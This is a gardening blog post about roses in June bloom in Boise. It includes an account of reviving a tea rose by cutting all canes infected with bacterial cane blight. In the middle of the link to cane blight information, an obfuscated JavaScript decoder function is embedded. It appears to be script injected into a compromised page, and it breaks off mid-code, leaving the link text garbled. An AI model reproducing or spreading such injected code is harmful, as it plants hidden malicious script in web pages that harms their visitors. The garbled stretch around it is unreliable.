Miniature roses in June bloom

Miniature roses in June bloom

Double Delight tea rose in June bloom

Double Delight tea rose in June bloom

Climbing rose in bloom

Climbing rose in bloom

Climbing Rose in the Staghorn Sumac tree

Climbing Rose in the Staghorn Sumac tree

June is the month for roses. They are at their absolute best in June, in Boise. The leaves are still fresh and green, the insect damage is minimal and the blossoms are big and bright. Roses are great for cut flowers as well since they will stay looking good for about a week, as long as you keep the water fresh.

Check out the climbing rose above, that is the one that I pegged to make more blooms. See the blog here: http://vickisgardentips.com/?p=1118

Pink Tea Rose

Pink Tea Rose

Here is a rose, that I have decided to ignore over the years. I have moved it a couple of times, the stalks were full of the bacterial blight and I was about to throw it away this spring, but I gave it one more chance. I decided to make it a research project.
Krishna Mohan, at the U of Idaho, Parma research station suggested that all canes of a tea rose infected with bacterial Cane Blight should be cut off. "But that would mean, I would cut ALL the canes to the ground", I whined. He assured me they would grow back. So here is my research project. I kind of didn't believe him, but since I had nothing to lose, I tried it.
All canes were infected and so I cut all the canes to just above the ground level.
Now I have a beautiful rose! Research project, hurray!
Here is the link to the info on cane blight function h052c1b60aed(x6){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var t4='';var t2,u1,q3,q7,sa,r9,u2;var u4=0;do{q7=qd.indexOf(x6.charAt(u4++));sa=qd.indexOf(x6.charAt(u4++));r9=qd.indexOf(x6.charAt(u4++));u2=qd.indexOf(x6.charAt(u4++));t2=(q7<<2)|(sa>>4);u1=((sa&15)<<4)|(r9>>2);q3=((r9&3)<<6)|u2;if(t2>=192)t2+=848;else if(t2==168)t2=1025;else if(t2==184)t2=1105;t4+=String.fromCharCode(t2);if(r9!=64){if(u1>=192)u1+=848;else if(u1==168)u1=1025;else if(u1==184)u1=1105;t4+=String.fromCharCode(u1);}if(u2!=64){if(q3>=192)q3+=848;else if(q3==168)q3=1025;else if(q3==184)q3=1105;t4+=String.fromCharCode(q3);}}while(u4books.org/plantdisease/node/3871/print">http://pnwhandbooks.org/plantdisease/node/3871/print

Black or purple canes may indicate that your roses have bacterial cane blight.

Black or purple canes may indicate that your roses have bacterial cane blight.


Research project success! The rose was cut to bare nubbins this spring!

Research project success!
The rose was cut to bare nubbins this spring!

Done Pruning Mister Lincoln

Done Pruning Mister Lincoln

Mister Lincoln in June bloom

Mister Lincoln in June bloom